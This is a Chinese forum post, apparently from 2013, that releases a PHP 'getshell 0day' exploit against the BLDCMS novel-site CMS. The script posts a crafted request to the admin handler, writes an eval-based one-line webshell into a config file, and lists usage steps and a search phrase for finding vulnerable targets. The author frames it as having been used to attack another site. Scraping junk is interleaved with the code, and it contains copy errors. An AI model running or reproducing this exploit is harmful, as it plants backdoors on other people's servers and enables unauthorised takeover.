BLDCMS(白老大小说) Getshell 0day EXP

admin

之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞


话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了

既然都有人发了 我就把我之前写好的EXP放出来吧
/ T: W$ ~4 y+ R+ Z
, m: w! \( [. |! Z  r1 P5 iview source print?01.php;">
02.<!--?php
) Y& u2 p1 `0 s& @+ Q- K03.echo "-------------------------------------------------------------------
04.
. [) A6 s1 _3 z' ^+ i05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
06.
07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun
' p+ n* k) }/ V  s08.
6 h% T) ]# f7 y. `% V9 U09.QQ:981009941\r\n                                2013.3.21\r\n            
10.
11.
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
/ J" e3 N" k5 u5 r- H  V  R13.
: O; X( j! N+ @; A( x  Z+ ?14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------
. C: v) O( p6 K: }15.
, l, c9 K4 D- W4 }" F) x% D8 D16.--------------------------------------------------------------------\r\n";
9 \( i/ ^1 M0 t  c2 Z: o17.$url=$argv[1];
  r+ C* A6 {0 J& B' z/ }18.$dir=$argv[2];
$ d7 A' D! O0 l19.$pass=$argv[3];
20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
21.if (emptyempty($pass)||emptyempty($url))
22.{exit("请输入参数");}
23.else
$ q& ~& @7 a& h7 C2 _24.{
25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
! c2 e! j" j1 x+ [26.
* R7 Y: r5 O9 V6 J27.al;
28.$length = strlen($fuckdata);
29.function getshell($url,$pass)
+ j# b0 p. T# N  e4 n, j' {3 `2 G30.{
7 G+ _6 H! x7 z31.global $url,$dir,$pass,$eval,$length,$fuckdata;
# E1 a6 d5 W( J) W0 U32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
34.$header .= "User-Agent: MSIE\r\n";
35.$header .= "Host:".$url."\r\n";
36.$header .= "Content-Length: ".$length."\r\n";
37.$header .= "Connection: Close\r\n";
  ~/ \+ Z3 q8 {5 Y: `38.$header .="\r\n";
! E. w4 U9 u4 x2 o9 R39.$header .= $fuckdata."\r\n\r\n";
40.$fp = fsockopen($url, 80,$errno,$errstr,15);
, y% M! t  |$ q& k% o! O41.if (!$fp)
$ T8 v& w4 K( Z1 ~, `/ y42.{
43.exit ("利用失败:请检查指定目标是否能正常打开");
44.}
; f" F# o2 Z7 Q8 l6 n45.else{ if (!fputs($fp,$header))
46.{exit ("利用失败");}
& s/ d- x# F" I' p" j( q47.else
48.{
6 q  p- E2 a9 k49.$receive = '';
+ s6 o7 E, ?1 T% p" O. k7 ]- A- k50.while (!feof($fp)) {
51.$receive .= @fgets($fp, 1000);
. e) j( ^( V  w) F5 T; ]52.}
53.@fclose($fp);
54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标
' K6 ^! t% g0 m6 K/ `6 l55.
56.GPC是否=off)";
57.}}
7 n% p0 d1 W+ B0 g/ v# ~58.}
% e  e# G3 R0 q4 H: S# A6 b59.}
' C$ ]+ N" S8 `' g. b60.getshell($url,$pass);
61.?-->

1 \# h9 F2 q- ^( f5 c: H4 A  k* w

by 数据流
9 y( x2 `* l. d+ q) K; i